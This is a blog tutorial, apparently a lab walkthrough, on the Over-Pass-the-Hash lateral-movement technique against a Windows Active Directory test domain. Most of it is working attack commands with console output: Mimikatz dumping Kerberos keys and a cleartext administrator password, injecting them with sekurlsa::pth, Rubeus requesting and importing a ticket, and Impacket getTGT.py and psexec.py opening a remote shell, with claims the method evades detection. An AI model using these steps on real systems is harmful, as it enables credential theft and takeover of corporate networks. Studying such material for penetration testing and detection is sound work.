Lateral Movement: Over Pass the Hash

May 14, 2020 By Raj Chandel

In this post, we're going to talk about Over Pass the hash that added another step in passing the hash. Pass the hash is an attack that allows an intruder to authenticate as a user without having access to the user's password. This is a technique where an attacker uses the NTLM hashes for authentication and bypass the standard authentication step clear text password for login, for more detail read from here.

Over Pass the hash is a combination of passing the hash and passing the ticket, so it's called Over Pass the hash. Allows the creation of Kerberos tickets from NTLM hash or AES keys that allow access to the resource service that required Kerberos authentication.

In Kerberos authentication NTLM (RC4), AES128, AES256 key is used to encrypt the timestamp.

Required Tools

- Mimikatz
- Rubeus
- Impacket

Let's take a look!!!?

Mimikatz

To perform over pass the ticket we are going to use mimikatz and Install it on the host machine and type the following command:

privilege::debug
sekurlsa::ekeys

With the help of ekeys you will able to fetch all keys NTLM (RC4), AES128, AES256 key

```
mimikatz 2.2.0 (x64) #18362 May
                                            2 2020 16:23:51
 .## ^ ##.
           "A La Vie, A L'Amour" - (oe.eo)
           /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## / \ ##
## \ / ##
                > http://blog.gentilkiwi.com/mimikatz
                                            ( vincent.letoux@gmail.com )
 '## v ##'
                Vincent LE TOUX
  '#####'
                > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug 👍
Privilege '20' OK
mimikatz # sekurlsa::ekeys 👍
Authentication Id : 0 ; 2679398 (00000000:0028e266)
Session
                 : CachedInteractive from 1
User Name
                 : Administrator
Domain
                 : IGNITE
Logon Server
                 : WIN-S0V7KMTVLD2
Logon Time
                 : 5/12/2020 12:18:10 PM
SID
                 : S-1-5-21-3523557010-2506964455-2614950430-500
        * Username : Administrator
        * Domain : IGNITE.LOCAL
        * Password : Ignite@987
        * Key List :
          aes256 hmac
                            e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
          aes128 hmac
                            eae5c8006cd744446115d2eab39d9f8f
          rc4 hmac nt
                            32196b56ffe6f45e294117b91a83bf38
          rc4_hmac_old
                            32196b56ffe6f45e294117b91a83bf38
          rc4 md4
                            32196b56ffe6f45e294117b91a83bf38
          rc4_hmac_nt_exp
                            32196b56ffe6f45e294117b91a83bf38
          rc4_hmac_old_exp 32196b56ffe6f45e294117b91a83bf38
Authentication Id : 0 ; 2373262 (00000000:0024368e)
Session
                : NewCredentials from 0
                : Administrator
User Name
Domain
                : IGNITE
Logon Server
                : (null)
Logon Time
                : 5/12/2020 12:08:54 PM
SID
                 : 5-1-5-21-3523557010-2506964455-2614950430-500
        * Username : CZA3PTW1
        * Domain : W9WISAM8
        * Password : D232Y7AD
        * Key List :
          aes256 hmac
                            4b7e15e57fadbd6f03ea83991b4e82b3ed792a89142f1c33a744a6ef395ef375
          aes128 hmac _
                          ef28dc6c43cd466ce62bdebba73f8109
          rc4 hmac nt 539ad32a1c73adea2335d41b7a667fc4
          rc4_hmac_old 539ad32a1c73adea2335d41b7a667fc4
          rc4 md4
                            539ad32a1c73adea2335d41b7a667fc4
          rc4_hmac_nt_exp
                            539ad32a1c73adea2335d41b7a667fc4
          rc4 hmac old exp 539ad32a1c73adea2335d41b7a667fc4
```

So with the help of sekurlsa::pth command we try to use ase256 key or aes128 for Kerberos ticket, it is difficult to detect because it is the more common and secure key used in encryption.

```
sekurlsa::pth /user:Administrator /domain:ignite.local /aes256:9c83452b5dcdca4b0ba sekurlsa::pth /user:Administrator /domain:ignite.local /aes128:b5c9a38d8629e87f5da
```

→

```
mimikatz # privilege::debug <del>¢</del>
Privilege '20' OK
mimikatz # sekurlsa::pth /user:Administrator /domain:ignite.local /aes256:e1182a9a34827cabac57a635ae47ce2b2
domain : ignite.local
program : cmd.exe
impers. : no
AES256 : e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
    PID 6860
    TID 2712
    LSA Process is now R/W
    LUID 0; 3446363 (00000000:0034965b)
    msv1_0 - data copy @ 000001DEFF8D2A80 : OK !
    kerberos - data copy @ 000001DEFFC37E78
    _aes256_hmac
                        OK
     aes128 hmac
                        -> null
     rc4_hmac_nt
                        -> null
     rc4 hmac old
                        -> null
     rc4 md4
                        -> null
     rc4_hmac_nt_exp
                        -> null
     rc4_hmac_old_exp -> null
     *Password replace @ 000001DE80237C38 (32) -> null
mimikatz # sekurlsa::pth /user:Administrator /domain:ignite.local /aes128:eae5c8006cd744446115d2eab39d9f8f
       : Administrator
domain : ignite.local
program : cmd.exe
impers. : no
AES128 : eae5c8006cd744446115d2eab39d9f8f
    PID
         1196
     TID 5816
    LSA Process was already R/W
    LUID 0; 3544074 (00000000:0036140a)
    msv1_0 - data copy @ 000001DEFF8D2A80 : OK !
    kerberos - data copy @ 000001DEFFC389B8
    aes256 hmac
                       -> null
    aes128 hmac
                       OK
     rc4_hmac_nt
                       -> null
    rc4_hmac_old
                       -> null
                        -> null
     rc4_md4
     rc4_hmac_nt_exp
                       -> null
     rc4_hmac_old_exp -> null
      *Password replace @ 000001DEFF867D78 (32) -> null
```

If you will use NTLM (RC4), ASE128, ASE256 simultaneously for injecting into Kerberos ticket, this step is more secure and undetectable in the network.

```
sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:a29f7623fd11550def019 sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:a29f7623fd11550def019
```

```
mimikatz # sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:32196b56ffe6f45e294117b91a83bf38 /aes128:eae5c80
06cd744446115d2eab39d9f8f /aes256:e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
       : Administrator
domain : igntie.local
program : cmd.exe
impers. : no
       : eae5c8006cd744446115d2eab39d9f8f
AES128
AES256
        : e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
NTLM
        : 32196b56ffe6f45e294117b91a83bf38
    PID 3016
     TID 6188
     LSA Process was already R/W
     LUID 0 ; 3739951 (00000000:0039112f)
    msv1_0 - data copy @ 000001DEFF8D1C80 : OK !
kerberos - data copy @ 000001DEFFC38148
_ aes256_hmac OK
    __aes128_hmac
                         OK
     rc4_hmac_nt
                         OK
     rc4_hmac_old
                         OK
     rc4_md4
                          OK
     rc4_hmac_nt_exp
                         OK
      rc4_hmac_old_exp
                         OK
      *Password replace @ 000001DEFF867D78 (32) -> null
mimikatz # sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:32196b56ffe6f45e294117b91a83bf38
        : Administrator
domain : igntie.local
program : cmd.exe
impers. : no
       : 32196b56ffe6f45e294117b91a83bf38
NTLM
    PID 1992
     TID 5176
     LSA Process was already R/W
     LUID 0 ; 3754470 (00000000:003949e6)
     msv1_0 - data copy @ 000001DEFF8D1680 : OK !
kerberos - data copy @ 000001DEFFC37E78
                         -> null
     aes256 hmac
                         -> null
    _ aes128_hmac
                         OK
     rc4_hmac_nt
                         OK
      rc4_hmac_old
     rc4 md4
                         OK
      rc4_hmac_nt_exp
                         OK
      rc4 hmac old exp
                         OK
      *Password replace @ 000001DEFF867D78 (32) -> null
```

And once it will done you will be able to access the authorized resource as shown below.

```
Administrator: C:\Windows\SYSTEM32\cmd.exe

Microsoft Windows [Version 10.0.18362.778]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
ignite\administrator

C:\Windows\system32>__

C:\Windows\system32>__
```

Rubeus.exe

As I have already mentioned in the previous article that this tool is awesome because it is easy to use and directly run on the local environment of the victim machine.

Rubeus.exe asktgt /domain:igntie.local /user:Administrator /rc4: 32196b56ffe6f45e2

Using rc4 hash it will not only pass the hash infect pass the ticket and you will be able o access the resource.

dir \\WIN-S0V7KMTVLD2\c\$

```
\Users\yashika\Desktop>Rubeus.exe asktgt /domain:ignite.local /user:Administrator /rc4:32196b56ffe6f45e294117b91a83bf38 /ptt
 v1.5.8
*] Action: Ask TGT
   Using rc4_hmac hash: 32196b56ffe6f45e294117b91a83bf38
   Building AS-REQ (w/ preauth) for: 'ignite.local\Administrator'
   TGT request successful!
*] base64(ticket.kirbi):
      doIFTDCCBUigAwIBBaEDAgEWooIEXDCCBFhhggRUMIIEUKADAgEFoQ4bDE1HTk1URS5MT0NBTKIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMaWduaXRlLmxvY2Fso4IEFDCCBBCgAwIBEqEDAgECooIEAgSCA/56AkwX
      RmFIZu1UOec2B4WOGx2G2QaF7tz59ceG9RVQ9iDotjlYWx+vNgJuNH5yje+SnkCU5BM1GMvs8NqYkXm7mGYnhXeTgbK/6g4cHMROsDWA6x220g2eDFhATdBeLt6zi2INRdznyGvI5n+xGTZU9JimKPBV08H8BTOA
      gvqCHSRPFz6faXSxJxXXuMSQCRw+DQ5kwnd8ArziBJ4vb9sm4PU5nD/kxDO5nqk1zC3iNF1XPOpBI7/1
      PTJFS62zLA4dBqaYJfY103upSSwa/WFMbotEcZyzxQSMyoD9TU3mjEulaJ1q/Rq4xZk4RMzY6dj4u8Aj
      HxBIZB0z0XI20mP+S4Hk0ytqLuiPbn/yFIQaKrqye1DLPH7zQ1pSXSJ64ATzJYr2HLsB2fSR1R7tZ1o8/cnkJY0J1bHy5kJzz0CiRaU1ZCnJWcY3IJP0qNHl0q2JZkzV2/eTUTIdhqixeP51AGVB+fVG7d3w3aDV
      OYcAoHu/mBifw6L1X5SBGYBJVIatmasktOJv6F5B57F8yW6aoK0Byv050BFyU3n/jQiwpd22kGjUia7x
      SSUzqvgC2u19IL1+iQ9Imcha3GMHOmqGDHjAd1XwTOhEU0FFZqglt1m6ezWPGHo9EvY5YzNMmDFUvGnr
      b4cFCMM9sGvC7GtNHw85rm70MkdLxBod4rWcMWJ/HZyXYo3aabOZx0RzTYpBX+7ov8LiOvOgvHzC1KKu
      1jvfK7XvVrfCZY0ekU0wJMQ9Zg0IlbiU/Lcpc2W932PnPcWEi1mpJyWeWYJwUPE2DKeZFL38ejB5yZhR
      13lgK4YZ0/Ow3+MdhviFW0bxvAV94gLU1NxsxFOaclqESkK98TsNV4tk4jYs2IP8mnTrcw1AKaasCH+h
      kaNYgJnS+wNkrbDxvYoFi7zHhJacwNlx74FWxMSJU/DRA0PrEE9QorNKrVe6Av24gFhJWn3QrQeqaJ0M
      kkYKqFOGiXUrWcmFsUJ/TAkA6Fk/HXX4litM4qzDmGeX6PcQNhqIt7sRblMxNletwjtIWCanBzGWDLYG
      lsvOL2mZb2snrvYrbrTX1eC4uyoRD5Wn/9k2HqBo5jVS/DUMRlHdC8UhWeOcnKg3FmF8jvJ78XfkTWcRa4L2h9+uqKiIuxS+DrEUcxvcaMkxwKu839oF/iy6ZqYh7kZk09svhtNO9Vye+D/9OmNcHhvVMTN7nVqM
      fFohZkXKCe5z/MBkRpD8GfnDm/dLQ1FDEfZfU/5zQV6w5+frY++e55y163SHoowYHq+GBiEOn70fNZrL
      /61YRsSfqP5AnzyvJ7Xf/TQhHEDfIavwlAfkMe745nzyiBUpAizk88c5gpzgnDAyOPqe2Fldo/ZhjqOB
      2ZCB2KADAgEAooHQBIHNfYHKMIHHoIHEMIHBMIG+oBswGaADAgEXoRIEEKLOMkK1s9aEwM+kKuWuuZmh
      DhsMSUdOSVRFLkxPQ0FMohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQ0EAAKURGA8yMDIw
      MDUxMjE5MTEzNVqmERgPMjAyMDA1MTMwNTExMzVapxEYDzIwMjAwNTE5MTkxMTM1Wqg0GwxJR05JVEUu
      TE9DQUypITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDGlnbml0ZS5sb2NhbA==
+ | Ticket successfully imported!
 ServiceName
                             krbtgt/ignite.local
                             IGNITE.LOCAL
 ServiceRealm
 UserName
                             Administrator
 UserRealm
                             IGNITE.LOCAL
                             5/12/2020 12:11:35 PM
 StartTime
 EndTime
                             5/12/2020 10:11:35 PM
 RenewTill
                             5/19/2020 12:11:35 PM
 Flags
                             name_canonicalize, pre_authent, initial, renewable, forwardable
 KeyType
                             rc4_hmac
                            os4yQrWz1oTAz6Qq5a65mQ==
 Base64(key)
:\Users\yashika\Desktop>dir \\WIN-S0V7KMTVLD2\c$
Volume in drive \\WIN-S0V7KMTVLD2\c$ has no label.
Volume Serial Number is 1C84-81C0
Directory of \\WIN-S0V7KMTVLD2\c$
7/16/2016 06:23 AM
                                          PerfLogs
                                          Program Files
04/15/2020 05:32 AM
                          <DIR>
```

Impacket

I wish to execute this attack remotely then use impacket python script **gettgt.py** which will use a password, hash or aesKey, it will request a TGT and save it as ccache.

```
python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf38 ig
```

with the help of above command, you will be able to request Kerberos authorized ticket in the form of ccache whereas with the help of the following command you will be able to inject the ticket to access the resource.

```
export KRB5CCNAME=Administrator.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
```

```
:~/impacket/examples# python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf
38 ignite.local/Administrator
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation
[*] Saving ticket in Administrator.ccache
         :~/impacket/examples# export KRB5CCNAME=Administrator.ccache; psexec.py -dc-ip 192.168.1.105 -targe
t-ip 192.168.1.105 -no-pass -k ignite.local/Administrator@WIN-S0V7KMTVLD2.ignite.local
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.1.105.....
    Found writable share ADMIN$
   Uploading file tPYCtvnm.exe
[*] Opening SVCManager on 192.168.1.105.....
*] Creating service EGug on 192.168.1.105.....
 *] Starting service EGug.....
 !] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

Conclusion: As you have seen, we try to use three different tools to conduct Over-Pass-The-Hash locally and remotely that not only pass the hash but also inject hash for Kerberos authentication to get the ticket.